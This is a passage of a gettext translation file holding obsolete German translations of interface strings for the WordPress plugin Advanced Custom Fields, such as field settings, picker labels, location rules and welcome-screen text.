#~ msgid "Relational"
#~ msgstr "Relational"

# @ acf
#~ msgid "jQuery"
#~ msgstr "jQuery"

#~ msgid "Accordion"
#~ msgstr "Akkordeon"

#~ msgid "Open"
#~ msgstr "Geöffnet"

#~ msgid "Display this accordion as open on page load."
#~ msgstr "Dieses Akkordeon beim Laden der Seite als geöffnet anzeigen."

#~ msgid "Multi-expand"
#~ msgstr "Gleichzeitig geöffnet"

#~ msgid "Allow this accordion to open without closing others."
#~ msgstr "Erlaubt dieses Akkordeon zu öffnen ohne andere zu schließen."

#~ msgid "Endpoint"
#~ msgstr "Endpunkt"

#~ msgid ""
#~ "Define an endpoint for the previous accordion to stop. This accordion "
#~ "will not be visible."
#~ msgstr ""
#~ "Definiert einen Endpunkt an dem das vorangegangene Akkordeon endet. "
#~ "Dieses abschließende Akkordeon wird nicht sichtbar sein."

#~ msgid "Button Group"
#~ msgstr "Button-Gruppe"

# @ acf
#~ msgid "Choices"
#~ msgstr "Auswahlmöglichkeiten"

# @ acf
#~ msgid "Enter each choice on a new line."
#~ msgstr "Jede Auswahlmöglichkeit in eine neue Zeile eingeben."

# @ acf
#~ msgid "For more control, you may specify both a value and label like this:"
#~ msgstr ""
#~ "Für mehr Kontrolle, kannst Du sowohl einen Wert als auch eine "
#~ "Beschriftung wie folgt angeben:"

# @ acf
#~ msgid "red : Red"
#~ msgstr "rot : Rot"

# @ acf
#~ msgid "Allow Null?"
#~ msgstr "NULL-Werte zulassen?"

# @ acf
#~ msgid "Default Value"
#~ msgstr "Standardwert"

# @ acf
#~ msgid "Appears when creating a new post"
#~ msgstr "Erscheint bei der Erstellung eines neuen Beitrags"

# @ acf
#~ msgid "Horizontal"
#~ msgstr "Horizontal"

# @ acf
#~ msgid "Vertical"
#~ msgstr "Vertikal"

# @ acf
#~ msgid "Return Value"
#~ msgstr "Rückgabewert"

# @ acf
#~ msgid "Specify the returned value on front end"
#~ msgstr "Legt den Rückgabewert für das Frontend fest"

#~ msgid "Value"
#~ msgstr "Wert"

#~ msgid "Both (Array)"
#~ msgstr "Beide (Array)"

# @ acf
#~ msgid "Checkbox"
#~ msgstr "Checkbox"

# @ acf
#~ msgid "Toggle All"
#~ msgstr "Alle auswählen"

#~ msgid "Add new choice"
#~ msgstr "Neue Auswahlmöglichkeit hinzufügen"

#~ msgid "Allow Custom"
#~ msgstr "Individuelle Werte erlauben"

#~ msgid "Allow 'custom' values to be added"
#~ msgstr "Erlaubt das Hinzufügen individueller Werte"

#~ msgid "Save Custom"
#~ msgstr "Individuelle Werte speichern"

#~ msgid "Save 'custom' values to the field's choices"
#~ msgstr ""
#~ "Individuelle Werte unter den Auswahlmöglichkeiten des Feldes speichern"

# @ acf
#~ msgid "Enter each default value on a new line"
#~ msgstr "Jeden Standardwert in einer neuen Zeile eingeben"

#~ msgid "Toggle"
#~ msgstr "Alle Auswählen"

#~ msgid "Prepend an extra checkbox to toggle all choices"
#~ msgstr ""
#~ "Hängt eine zusätzliche Checkbox an mit der alle Optionen ausgewählt "
#~ "werden können"

# @ acf
#~ msgid "Color Picker"
#~ msgstr "Farbauswahl"

# @ acf
#~ msgid "Clear"
#~ msgstr "Leeren"

# @ acf
#~ msgid "Default"
#~ msgstr "Standard"

# @ acf
#~ msgid "Select Color"
#~ msgstr "Farbe auswählen"

#~ msgid "Current Color"
#~ msgstr "Aktuelle Farbe"

# @ acf
#~ msgid "Date Picker"
#~ msgstr "Datumsauswahl"

#~ msgctxt "Date Picker JS closeText"
#~ msgid "Done"
#~ msgstr "Fertig"

#~ msgctxt "Date Picker JS currentText"
#~ msgid "Today"
#~ msgstr "Heute"

#~ msgctxt "Date Picker JS nextText"
#~ msgid "Next"
#~ msgstr "Nächstes"

#~ msgctxt "Date Picker JS prevText"
#~ msgid "Prev"
#~ msgstr "Vorheriges"

#~ msgctxt "Date Picker JS weekHeader"
#~ msgid "Wk"
#~ msgstr "W"

# @ acf
#~ msgid "Display Format"
#~ msgstr "Darstellungsformat"

# @ acf
#~ msgid "The format displayed when editing a post"
#~ msgstr "Das Format für die Anzeige in der Bearbeitungsansicht"

#~ msgid "Custom:"
#~ msgstr "Individuelles Format:"

#~ msgid "Save Format"
#~ msgstr "Speicherformat"

#~ msgid "The format used when saving a value"
#~ msgstr "Das Format das beim Speichern eines Wertes verwendet wird"

# @ acf
#~ msgid "The format returned via template functions"
#~ msgstr "Das Format für die Ausgabe in den Template-Funktionen"

# @ acf
#~ msgid "Week Starts On"
#~ msgstr "Die Woche beginnt am"

#~ msgid "Date Time Picker"
#~ msgstr "Datums- und Zeitauswahl"

#~ msgctxt "Date Time Picker JS timeOnlyTitle"
#~ msgid "Choose Time"
#~ msgstr "Zeit auswählen"

#~ msgctxt "Date Time Picker JS timeText"
#~ msgid "Time"
#~ msgstr "Zeit"

#~ msgctxt "Date Time Picker JS hourText"
#~ msgid "Hour"
#~ msgstr "Stunde"

#~ msgctxt "Date Time Picker JS minuteText"
#~ msgid "Minute"
#~ msgstr "Minute"

#~ msgctxt "Date Time Picker JS secondText"
#~ msgid "Second"
#~ msgstr "Sekunde"

#~ msgctxt "Date Time Picker JS millisecText"
#~ msgid "Millisecond"
#~ msgstr "Millisekunde"

#~ msgctxt "Date Time Picker JS microsecText"
#~ msgid "Microsecond"
#~ msgstr "Mikrosekunde"

#~ msgctxt "Date Time Picker JS timezoneText"
#~ msgid "Time Zone"
#~ msgstr "Zeitzone"

#~ msgctxt "Date Time Picker JS currentText"
#~ msgid "Now"
#~ msgstr "Jetzt"

#~ msgctxt "Date Time Picker JS closeText"
#~ msgid "Done"
#~ msgstr "Fertig"

#~ msgctxt "Date Time Picker JS selectText"
#~ msgid "Select"
#~ msgstr "Auswählen"

#~ msgctxt "Date Time Picker JS amText"
#~ msgid "AM"
#~ msgstr "Vorm."

#~ msgctxt "Date Time Picker JS amTextShort"
#~ msgid "A"
#~ msgstr "Vorm."

#~ msgctxt "Date Time Picker JS pmText"
#~ msgid "PM"
#~ msgstr "Nachm."

#~ msgctxt "Date Time Picker JS pmTextShort"
#~ msgid "P"
#~ msgstr "Nachm."

# @ acf
#~ msgid "Email"
#~ msgstr "E-Mail"

# @ acf
#~ msgid "Placeholder Text"
#~ msgstr "Platzhaltertext"

# @ acf
#~ msgid "Appears within the input"
#~ msgstr "Platzhaltertext solange keine Eingabe im Feld vorgenommen wurde"

# @ acf
#~ msgid "Prepend"
#~ msgstr "Voranstellen"

# @ acf
#~ msgid "Appears before the input"
#~ msgstr "Wird dem Eingabefeld vorangestellt"

# @ acf
#~ msgid "Append"
#~ msgstr "Anhängen"

# @ acf
#~ msgid "Appears after the input"
#~ msgstr "Wird dem Eingabefeld hinten angestellt"

# @ acf
#~ msgid "File"
#~ msgstr "Datei"

# @ acf
#~ msgid "Edit File"
#~ msgstr "Datei bearbeiten"

# @ acf
#~ msgid "Update File"
#~ msgstr "Datei aktualisieren"

#~ msgid "File name"
#~ msgstr "Dateiname"

# @ acf
#~ msgid "Add File"
#~ msgstr "Datei hinzufügen"

# @ acf
#~ msgid "File Array"
#~ msgstr "Datei-Array"

# @ acf
#~ msgid "File URL"
#~ msgstr "Datei-URL"

# @ acf
#~ msgid "File ID"
#~ msgstr "Datei-ID"

# @ acf
#~ msgid "Restrict which files can be uploaded"
#~ msgstr "Beschränkt welche Dateien hochgeladen werden können"

# @ acf
#~ msgid "Google Map"
#~ msgstr "Google Maps"

# @ acf
#~ msgid "Sorry, this browser does not support geolocation"
#~ msgstr "Dieser Browser unterstützt keine Geo-Lokation"

# @ acf
#~ msgid "Search"
#~ msgstr "Suchen"

# @ acf
#~ msgid "Clear location"
#~ msgstr "Position löschen"

# @ acf
#~ msgid "Find current location"
#~ msgstr "Aktuelle Position finden"

# @ acf
#~ msgid "Search for address..."
#~ msgstr "Nach der Adresse suchen..."

# @ acf
#~ msgid "Center"
#~ msgstr "Mittelpunkt"

# @ acf
#~ msgid "Center the initial map"
#~ msgstr "Mittelpunkt der Ausgangskarte"

# @ acf
#~ msgid "Zoom"
#~ msgstr "Zoom"

# @ acf
#~ msgid "Set the initial zoom level"
#~ msgstr "Legt die anfängliche Zoomstufe der Karte fest"

# @ acf
#~ msgid "Customize the map height"
#~ msgstr "Passt die Höhe der Karte an"

# @ acf
#~ msgid "Group"
#~ msgstr "Gruppe"

# @ acf
#~ msgid "Image"
#~ msgstr "Bild"

# @ acf
#~ msgid "Select Image"
#~ msgstr "Bild auswählen"

# @ acf
#~ msgid "Edit Image"
#~ msgstr "Bild bearbeiten"

# @ acf
#~ msgid "Update Image"
#~ msgstr "Bild aktualisieren"

# @ acf
#~ msgid "All images"
#~ msgstr "Alle Bilder"

# @ acf
#~ msgid "No image selected"
#~ msgstr "Kein Bild ausgewählt"

# @ acf
#~ msgid "Add Image"
#~ msgstr "Bild hinzufügen"

# @ acf
#~ msgid "Link"
#~ msgstr "Link"

# @ acf
#~ msgid "Select Link"
#~ msgstr "Link auswählen"

#~ msgid "Opens in a new window/tab"
#~ msgstr "In einem neuen Fenster/Tab öffnen"

# @ acf
#~ msgid "Link Array"
#~ msgstr "Link-Array"

# @ acf
#~ msgid "Link URL"
#~ msgstr "Link-URL"

# @ acf
#~ msgid "Message"
#~ msgstr "Mitteilung"

# @ acf
#~ msgid "New Lines"
#~ msgstr "Neue Zeilen"

# @ acf
#~ msgid "Controls how new lines are rendered"
#~ msgstr "Legt fest wie Zeilenumbrüche gerendert werden"

# @ acf
#~ msgid "Automatically add paragraphs"
#~ msgstr "Automatisches hinzufügen von Absätzen"

# @ acf
#~ msgid "Automatically add &lt;br&gt;"
#~ msgstr "Automatisches hinzufügen von &lt;br&gt;"

# @ acf
#~ msgid "No Formatting"
#~ msgstr "Keine Formatierung"

# @ acf
#~ msgid "Escape HTML"
#~ msgstr "Escape HTML"

# @ acf
#~ msgid "Allow HTML markup to display as visible text instead of rendering"
#~ msgstr ""
#~ "Erlaubt HTML-Markup als sichtbaren Text anzuzeigen anstelle diesen zu "
#~ "rendern"

# @ acf
#~ msgid "Number"
#~ msgstr "Numerisch"

# @ acf
#~ msgid "Minimum Value"
#~ msgstr "Mindestwert"

# @ acf
#~ msgid "Maximum Value"
#~ msgstr "Maximalwert"

# @ acf
#~ msgid "Step Size"
#~ msgstr "Schrittweite"

# @ acf
#~ msgid "Value must be a number"
#~ msgstr "Wert muss eine Zahl sein"

# @ acf
#, php-format
#~ msgid "Value must be equal to or higher than %d"
#~ msgstr "Wert muss größer oder gleich %d sein"

# @ acf
#, php-format
#~ msgid "Value must be equal to or lower than %d"
#~ msgstr "Wert muss kleiner oder gleich %d sein"

# @ acf
#~ msgid "oEmbed"
#~ msgstr "oEmbed"

# @ acf
#~ msgid "Enter URL"
#~ msgstr "URL eingeben"

# @ acf
#~ msgid "Embed Size"
#~ msgstr "Maße"

# @ acf
#~ msgid "Page Link"
#~ msgstr "Seiten-Link"

# @ acf
#~ msgid "Archives"
#~ msgstr "Archive"

#~ msgid "Parent"
#~ msgstr "Übergeordnet"

# @ acf
#~ msgid "Filter by Post Type"
#~ msgstr "Nach Inhaltstyp filtern"

# @ acf
#~ msgid "All post types"
#~ msgstr "Alle Inhaltstypen"

# @ acf
#~ msgid "Filter by Taxonomy"
#~ msgstr "Nach Taxonomien filtern"

# @ acf
#~ msgid "All taxonomies"
#~ msgstr "Alle Taxonomien"

#~ msgid "Allow Archives URLs"
#~ msgstr "Archiv-URL's zulassen"

# @ acf
#~ msgid "Select multiple values?"
#~ msgstr "Mehrere Werte auswählbar?"

# @ acf
#~ msgid "Password"
#~ msgstr "Passwort"

# @ acf
#~ msgid "Post Object"
#~ msgstr "Beitrags-Objekt"

# @ acf
#~ msgid "Post ID"
#~ msgstr "Beitrags-ID"

# @ acf
#~ msgid "Radio Button"
#~ msgstr "Radio-Button"

# @ acf
#~ msgid "Other"
#~ msgstr "Weitere"

# @ acf
#~ msgid "Add 'other' choice to allow for custom values"
#~ msgstr ""
#~ "Das Hinzufügen der Auswahlmöglichkeit 'Weitere‘ erlaubt "
#~ "benutzerdefinierte Werte"

# @ acf
#~ msgid "Save Other"
#~ msgstr "Weitere speichern"

# @ acf
#~ msgid "Save 'other' values to the field's choices"
#~ msgstr "Weitere Werte unter den Auswahlmöglichkeiten des Feldes speichern"

#~ msgid "Range"
#~ msgstr "Numerischer Bereich"

# @ acf
#~ msgid "Relationship"
#~ msgstr "Beziehung"

# @ acf
#~ msgid "Maximum values reached ( {max} values )"
#~ msgstr "Maximum der Einträge mit ({max} Einträge) erreicht"

# @ acf
#~ msgid "Loading"
#~ msgstr "Lade"

# @ acf
#~ msgid "No matches found"
#~ msgstr "Keine Übereinstimmung gefunden"

# @ acf
#~ msgid "Select post type"
#~ msgstr "Inhaltstyp auswählen"

# @ acf
#~ msgid "Select taxonomy"
#~ msgstr "Taxonomie auswählen"

# @ acf
#~ msgid "Search..."
#~ msgstr "Suchen..."

# @ acf
#~ msgid "Filters"
#~ msgstr "Filter"

# @ acf
#~ msgid "Post Type"
#~ msgstr "Inhaltstyp"

# @ acf
#~ msgid "Taxonomy"
#~ msgstr "Taxonomie"

# @ acf
#~ msgid "Elements"
#~ msgstr "Elemente"

# @ acf
#~ msgid "Selected elements will be displayed in each result"
#~ msgstr "Die ausgewählten Elemente werden in jedem Ergebnis angezeigt"

# @ acf
#~ msgid "Minimum posts"
#~ msgstr "Mindestzahl an Beiträgen"

# @ acf
#~ msgid "Maximum posts"
#~ msgstr "Höchstzahl an Beiträgen"

# @ acf
#, php-format
#~ msgid "%s requires at least %s selection"
#~ msgid_plural "%s requires at least %s selections"
#~ msgstr[0] "%s benötigt mindestens %s Selektion"
#~ msgstr[1] "%s benötigt mindestens %s Selektionen"

#~ msgctxt "noun"
#~ msgid "Select"
#~ msgstr "Auswahl"

#~ msgctxt "Select2 JS matches_1"
#~ msgid "One result is available, press enter to select it."
#~ msgstr ""
#~ "Es ist ein Ergebnis verfügbar, drücke die Eingabetaste um es auszuwählen."

#, php-format
#~ msgctxt "Select2 JS matches_n"
#~ msgid "%d results are available, use up and down arrow keys to navigate."
#~ msgstr ""
#~ "Es sind %d Ergebnisse verfügbar, benutze die Pfeiltasten um nach oben und "
#~ "unten zu navigieren."

#~ msgctxt "Select2 JS matches_0"
#~ msgid "No matches found"
#~ msgstr "Keine Übereinstimmungen gefunden"

#~ msgctxt "Select2 JS input_too_short_1"
#~ msgid "Please enter 1 or more characters"
#~ msgstr "Gib bitte ein oder mehr Zeichen ein"

#, php-format
#~ msgctxt "Select2 JS input_too_short_n"
#~ msgid "Please enter %d or more characters"
#~ msgstr "Gib bitte %d oder mehr Zeichen ein"

#~ msgctxt "Select2 JS input_too_long_1"
#~ msgid "Please delete 1 character"
#~ msgstr "Lösche bitte ein Zeichen"

#, php-format
#~ msgctxt "Select2 JS input_too_long_n"
#~ msgid "Please delete %d characters"
#~ msgstr "Lösche bitte %d Zeichen"

#~ msgctxt "Select2 JS selection_too_long_1"
#~ msgid "You can only select 1 item"
#~ msgstr "Du kannst nur ein Element auswählen"

#, php-format
#~ msgctxt "Select2 JS selection_too_long_n"
#~ msgid "You can only select %d items"
#~ msgstr "Du kannst nur %d Elemente auswählen"

#~ msgctxt "Select2 JS load_more"
#~ msgid "Loading more results&hellip;"
#~ msgstr "Mehr Ergebnisse laden&hellip;"

#~ msgctxt "Select2 JS searching"
#~ msgid "Searching&hellip;"
#~ msgstr "Suchen&hellip;"

#~ msgctxt "Select2 JS load_fail"
#~ msgid "Loading failed"
#~ msgstr "Laden fehlgeschlagen"

#~ msgctxt "verb"
#~ msgid "Select"
#~ msgstr "Auswählen"

# @ acf
#~ msgid "Stylised UI"
#~ msgstr "Select2-Library aktivieren"

# @ acf
#~ msgid "Use AJAX to lazy load choices?"
#~ msgstr "AJAX verwenden um die Auswahl mittels Lazy Loading zu laden?"

#~ msgid "Specify the value returned"
#~ msgstr "Lege den Rückgabewert fest"

#~ msgid "Separator"
#~ msgstr "Trennelement"

# @ acf
#~ msgid "Tab"
#~ msgstr "Tab"

# @ acf
#~ msgid "Placement"
#~ msgstr "Platzierung"

#~ msgid ""
#~ "Define an endpoint for the previous tabs to stop. This will start a new "
#~ "group of tabs."
#~ msgstr ""
#~ "Definiert einen Endpunkt an dem die vorangegangenen Tabs enden. Das ist "
#~ "der Startpunkt für eine neue Gruppe an Tabs."

#, php-format
#~ msgctxt "No terms"
#~ msgid "No %s"
#~ msgstr "Keine %s"

# @ acf
#~ msgid "Select the taxonomy to be displayed"
#~ msgstr "Wähle die Taxonomie, welche angezeigt werden soll"

# @ acf
#~ msgid "Appearance"
#~ msgstr "Anzeige"

# @ acf
#~ msgid "Select the appearance of this field"
#~ msgstr "Wähle das Aussehen für dieses Feld"

# @ acf
#~ msgid "Multiple Values"
#~ msgstr "Mehrere Werte"

# @ acf
#~ msgid "Multi Select"
#~ msgstr "Auswahlmenü"

# @ acf
#~ msgid "Single Value"
#~ msgstr "Einzelne Werte"

# @ acf
#~ msgid "Radio Buttons"
#~ msgstr "Radio Button"

# @ acf
#~ msgid "Create Terms"
#~ msgstr "Begriffe erstellen"

# @ acf
#~ msgid "Allow new terms to be created whilst editing"
#~ msgstr "Erlaubt das Erstellen neuer Begriffe während des Bearbeitens"

#~ msgid "Save Terms"
#~ msgstr "Begriffe speichern"

# @ acf
#~ msgid "Connect selected terms to the post"
#~ msgstr "Verbindet die ausgewählten Begriffe mit dem Beitrag"

#~ msgid "Load Terms"
#~ msgstr "Begriffe laden"

#~ msgid "Load value from posts terms"
#~ msgstr "Den Wert aus den Begriffen des Beitrags laden"

# @ acf
#~ msgid "Term Object"
#~ msgstr "Begriffs-Objekt"

# @ acf
#~ msgid "Term ID"
#~ msgstr "Begriffs-ID"

# @ acf
#, php-format
#~ msgid "User unable to add new %s"
#~ msgstr "Der Benutzer kann keine neue %s hinzufügen"

# @ acf
#, php-format
#~ msgid "%s already exists"
#~ msgstr "%s ist bereits vorhanden"

# @ acf
#, php-format
#~ msgid "%s added"
#~ msgstr "%s hinzugefügt"

# @ acf
#~ msgid "Add"
#~ msgstr "Hinzufügen"

# @ acf
#~ msgid "Text"
#~ msgstr "Text einzeilig"

# @ acf
#~ msgid "Character Limit"
#~ msgstr "Zeichenbegrenzung"

# @ acf
#~ msgid "Leave blank for no limit"
#~ msgstr "Leer lassen für keine Begrenzung"

#, php-format
#~ msgid "Value must not exceed %d characters"
#~ msgstr "Wert darf %d Zeichen nicht überschreiten"

# @ acf
#~ msgid "Text Area"
#~ msgstr "Text mehrzeilig"

# @ acf
#~ msgid "Rows"
#~ msgstr "Zeilenanzahl"

# @ acf
#~ msgid "Sets the textarea height"
#~ msgstr "Definiert die Höhe des Textfelds"

#~ msgid "Time Picker"
#~ msgstr "Zeitauswahl"

# @ acf
#~ msgid "True / False"
#~ msgstr "Wahr / Falsch"

#~ msgid "Displays text alongside the checkbox"
#~ msgstr "Zeigt den Text neben der Checkbox an"

#~ msgid "On Text"
#~ msgstr "Wenn aktiv"

#~ msgid "Text shown when active"
#~ msgstr "Der Text der im aktiven Zustand angezeigt wird"

#~ msgid "Off Text"
#~ msgstr "Wenn inaktiv"

#~ msgid "Text shown when inactive"
#~ msgstr "Der Text der im inaktiven Zustand angezeigt wird"

# @ acf
#~ msgid "Url"
#~ msgstr "URL"

# @ acf
#~ msgid "Value must be a valid URL"
#~ msgstr "Bitte eine gültige URL eingeben"

# @ acf
#~ msgid "User"
#~ msgstr "Benutzer"

# @ acf
#~ msgid "Filter by role"
#~ msgstr "Nach Rolle filtern"

# @ acf
#~ msgid "All user roles"
#~ msgstr "Alle Benutzerrollen"

# @ acf
#~ msgid "User Array"
#~ msgstr "Benutzer-Array"

# @ acf
#~ msgid "User Object"
#~ msgstr "Benutzer-Objekt"

# @ acf
#~ msgid "User ID"
#~ msgstr "Benutzer-ID"

#~ msgid "Error loading field."
#~ msgstr "Fehler beim Laden des Feldes."

# @ acf
#~ msgid "Wysiwyg Editor"
#~ msgstr "WYSIWYG-Editor"

# @ acf
#~ msgid "Visual"
#~ msgstr "Visuell"

# @ acf
#~ msgctxt "Name for the Text editor tab (formerly HTML)"
#~ msgid "Text"
#~ msgstr "Text"

#~ msgid "Click to initialize TinyMCE"
#~ msgstr "Klicke um TinyMCE zu initialisieren"

# @ acf
#~ msgid "Tabs"
#~ msgstr "Tabs"

# @ acf
#~ msgid "Visual & Text"
#~ msgstr "Visuell & Text"

# @ acf
#~ msgid "Visual Only"
#~ msgstr "Nur Visuell"

# @ acf
#~ msgid "Text Only"
#~ msgstr "Nur Text"

# @ acf
#~ msgid "Toolbar"
#~ msgstr "Werkzeugleiste"

# @ acf
#~ msgid "Show Media Upload Buttons?"
#~ msgstr "Button zum Hochladen von Medien anzeigen?"

#~ msgid "Delay initialization?"
#~ msgstr "Initialisierung verzögern?"

#~ msgid "TinyMCE will not be initialized until field is clicked"
#~ msgstr "TinyMCE wird erst initialisiert, wenn das Feld geklickt wird"

#~ msgid "Validate Email"
#~ msgstr "E-Mail bestätigen"

# @ acf
#~ msgid "Post updated"
#~ msgstr "Beitrag aktualisiert"

#~ msgid "Spam Detected"
#~ msgstr "Spam entdeckt"

#, php-format
#~ msgid "<strong>ERROR</strong>: %s"
#~ msgstr "<strong>FEHLER</strong>: %s"

# @ acf
#, php-format
#~ msgid "Class \"%s\" does not exist."
#~ msgstr "Die Klasse „%s“ existiert nicht."

#, php-format
#~ msgid "Location type \"%s\" is already registered."
#~ msgstr "Positions-Typ „%s“ ist bereits registriert."

# @ acf
#~ msgid "Post"
#~ msgstr "Beitrag"

# @ acf
#~ msgid "Page"
#~ msgstr "Seite"

# @ acf
#~ msgid "Forms"
#~ msgstr "Formulare"

# @ acf
#~ msgid "is equal to"
#~ msgstr "ist gleich"

# @ acf
#~ msgid "is not equal to"
#~ msgstr "ist ungleich"

# @ acf
#~ msgid "Attachment"
#~ msgstr "Anhang"

#, php-format
#~ msgid "All %s formats"
#~ msgstr "Alle %s Formate"

# @ acf
#~ msgid "Comment"
#~ msgstr "Kommentar"

# @ acf
#~ msgid "Current User Role"
#~ msgstr "Aktuelle Benutzerrolle"

# @ acf
#~ msgid "Super Admin"
#~ msgstr "Super-Administrator"

# @ acf
#~ msgid "Current User"
#~ msgstr "Aktueller Benutzer"

# @ acf
#~ msgid "Logged in"
#~ msgstr "Angemeldet"

# @ acf
#~ msgid "Viewing front end"
#~ msgstr "Frontend anzeigen"

# @ acf
#~ msgid "Viewing back end"
#~ msgstr "Backend anzeigen"

#~ msgid "Menu Item"
#~ msgstr "Menüelement"

#~ msgid "Menu"
#~ msgstr "Menü"

# @ acf
#~ msgid "Menu Locations"
#~ msgstr "Menüpositionen"

# @ acf
#~ msgid "Page Parent"
#~ msgstr "Übergeordnete Seite"

# @ acf
#~ msgid "Page Template"
#~ msgstr "Seiten-Template"

# @ acf
#~ msgid "Default Template"
#~ msgstr "Standard-Template"

# @ acf
#~ msgid "Page Type"
#~ msgstr "Seitentyp"

# @ acf
#~ msgid "Front Page"
#~ msgstr "Startseite"

# @ acf
#~ msgid "Posts Page"
#~ msgstr "Beitrags-Seite"

# @ acf
#~ msgid "Top Level Page (no parent)"
#~ msgstr "Seite ohne übergeordnete Seiten"

# @ acf
#~ msgid "Parent Page (has children)"
#~ msgstr "Übergeordnete Seite (mit Unterseiten)"

# @ acf
#~ msgid "Child Page (has parent)"
#~ msgstr "Unterseite (mit übergeordneter Seite)"

# @ acf
#~ msgid "Post Category"
#~ msgstr "Beitragskategorie"

# @ acf
#~ msgid "Post Format"
#~ msgstr "Beitragsformat"

# @ acf
#~ msgid "Post Status"
#~ msgstr "Beitragsstatus"

# @ acf
#~ msgid "Post Taxonomy"
#~ msgstr "Beitrags-Taxonomie"

# @ acf
#~ msgid "Post Template"
#~ msgstr "Beitrags-Template"

# @ acf
#~ msgid "User Form"
#~ msgstr "Benutzerformular"

# @ acf
#~ msgid "Add / Edit"
#~ msgstr "Hinzufügen / Bearbeiten"

# @ acf
#~ msgid "Register"
#~ msgstr "Registrieren"

# @ acf
#~ msgid "User Role"
#~ msgstr "Benutzerrolle"

# @ acf
#~ msgid "Widget"
#~ msgstr "Widget"

#~ msgctxt "verb"
#~ msgid "Edit"
#~ msgstr "Bearbeiten"

#~ msgctxt "verb"
#~ msgid "Update"
#~ msgstr "Aktualisieren"

# @ acf
#~ msgid "Uploaded to this post"
#~ msgstr "Zu diesem Beitrag hochgeladen"

# @ acf
#~ msgid "Expand Details"
#~ msgstr "Details einblenden"

# @ acf
#~ msgid "Collapse Details"
#~ msgstr "Details ausblenden"

#~ msgid "Restricted"
#~ msgstr "Eingeschränkt"

# @ acf
#, php-format
#~ msgid "%s value is required"
#~ msgstr "%s Wert ist erforderlich"

#, php-format
#~ msgid ""
#~ "To enable updates, please enter your license key on the <a href=\"%s"
#~ "\">Updates</a> page. If you don't have a licence key, please see <a href="
#~ "\"%s\">details & pricing</a>."
#~ msgstr ""
#~ "Um die Aktualisierungsfähigkeit freizuschalten gib bitte Deinen "
#~ "Lizenzschlüssel auf der <a href=\"%s\">Aktualisierungen</a> Seite ein. "
#~ "Falls Du keinen besitzt informiere Dich bitte hier hinsichtlich der <a "
#~ "href=\"%s\" target=\"_blank\">Preise und Einzelheiten</a>."

# @ acf
#~ msgid "Normal"
#~ msgstr "Normal"

#~ msgid "Fancy"
#~ msgstr "Schick"

#~ msgid "Hero"
#~ msgstr "Hero"

#~ msgid "Display a random hero image."
#~ msgstr "Ein zufälliges Hero-Bild anzeigen."

#~ msgid "https://www.advancedcustomfields.com"
#~ msgstr "https://www.advancedcustomfields.com"

# @ acf
#~ msgid ""
#~ "Customize WordPress with powerful, professional and intuitive fields."
#~ msgstr ""
#~ "WordPress durch leistungsfähige, professionelle und zugleich intuitive "
#~ "Felder erweitern."

#~ msgid "Elliot Condon"
#~ msgstr "Elliot Condon"

#, php-format
#~ msgid "Inactive <span class=\"count\">(%s)</span>"
#~ msgid_plural "Inactive <span class=\"count\">(%s)</span>"
#~ msgstr[0] "Inaktiv <span class=\"count\">(%s)</span>"
#~ msgstr[1] "Inaktiv <span class=\"count\">(%s)</span>"

#~ msgid "Status"
#~ msgstr "Status"

#, php-format
#~ msgid "See what's new in <a href=\"%s\">version %s</a>."
#~ msgstr "Schau nach was es Neues in <a href=\"%s\">Version %s</a> gibt."

# @ acf
#~ msgid "Resources"
#~ msgstr "Dokumentation (engl.)"

#~ msgid "Documentation"
#~ msgstr "Dokumentation"

#~ msgid "Pro"
#~ msgstr "Pro"

#, php-format
#~ msgid "Thank you for creating with <a href=\"%s\">ACF</a>."
#~ msgstr "Danke für das Vertrauen in <a href=\"%s\">ACF</a>."

# @ acf
#~ msgid "Synchronise field group"
#~ msgstr "Synchronisiere Feldgruppe"

#~ msgid "Apply"
#~ msgstr "Anwenden"

# @ acf
#~ msgid "Bulk Actions"
#~ msgstr "Massenverarbeitung"

# @ acf
#~ msgid "Info"
#~ msgstr "Info"

# @ acf
#~ msgid "What's New"
#~ msgstr "Was gibt es Neues"

# @ acf
#~ msgid "Welcome to Advanced Custom Fields"
#~ msgstr "Willkommen bei Advanced Custom Fields"

# @ acf
#, php-format
#~ msgid ""
#~ "Thank you for updating! ACF %s is bigger and better than ever before. We "
#~ "hope you like it."
#~ msgstr ""
#~ "Vielen Dank fürs Aktualisieren! ACF %s ist größer und besser als je "
#~ "zuvor. Wir hoffen es wird dir gefallen."

# @ acf
#~ msgid "A Smoother Experience"
#~ msgstr "Eine reibungslosere Erfahrung"

# @ acf
#~ msgid "Improved Usability"
#~ msgstr "Verbesserte Benutzerfreundlichkeit"

# @ acf
#~ msgid ""
#~ "Including the popular Select2 library has improved both usability and "
#~ "speed across a number of field types including post object, page link, "
#~ "taxonomy and select."
#~ msgstr ""
#~ "Durch die Einführung der beliebten Select2 Bibliothek wurde sowohl die "
#~ "Benutzerfreundlichkeit als auch die Geschwindigkeit einiger Feldtypen wie "
#~ "Beitrags-Objekte, Seiten-Links, Taxonomien sowie von Auswahl-Feldern "
#~ "signifikant verbessert."

# @ acf
#~ msgid "Improved Design"
#~ msgstr "Verbessertes Design"

# @ acf
#~ msgid ""
#~ "Many fields have undergone a visual refresh to make ACF look better than "
#~ "ever! Noticeable changes are seen on the gallery, relationship and oEmbed "
#~ "(new) fields!"
#~ msgstr ""
#~ "Viele Felder wurden visuell überarbeitet, damit ACF besser denn je "
#~ "aussieht! Die markantesten Änderungen erfuhren das Galerie-, Beziehungs- "
#~ "sowie das nagelneue oEmbed-Feld!"

# @ acf
#~ msgid "Improved Data"
#~ msgstr "Verbesserte Datenstruktur"

# @ acf
#~ msgid ""
#~ "Redesigning the data architecture has allowed sub fields to live "
#~ "independently from their parents. This allows you to drag and drop fields "
#~ "in and out of parent fields!"
#~ msgstr ""
#~ "Die Neugestaltung der Datenarchitektur erlaubt es, dass Unterfelder "
#~ "unabhängig von ihren übergeordneten Feldern existieren können. Dies "
#~ "ermöglicht, dass Felder per Drag-and-Drop, in und aus ihren "
#~ "übergeordneten Feldern verschoben werden können!"

# @ acf
#~ msgid "Goodbye Add-ons. Hello PRO"
#~ msgstr "Macht's gut Add-ons&hellip; Hallo PRO"

# @ acf
#~ msgid "Introducing ACF PRO"
#~ msgstr "Wir dürfen vorstellen&hellip; ACF PRO"

# @ acf
#~ msgid ""
#~ "We're changing the way premium functionality is delivered in an exciting "
#~ "way!"
#~ msgstr ""
#~ "Wir haben die Art und Weise mit der die Premium-Funktionalität zur "
#~ "Verfügung gestellt wird geändert - das \"wie\" dürfte Dich begeistern!"

# @ acf
#, php-format
#~ msgid ""
#~ "All 4 premium add-ons have been combined into a new <a href=\"%s\">Pro "
#~ "version of ACF</a>. With both personal and developer licenses available, "
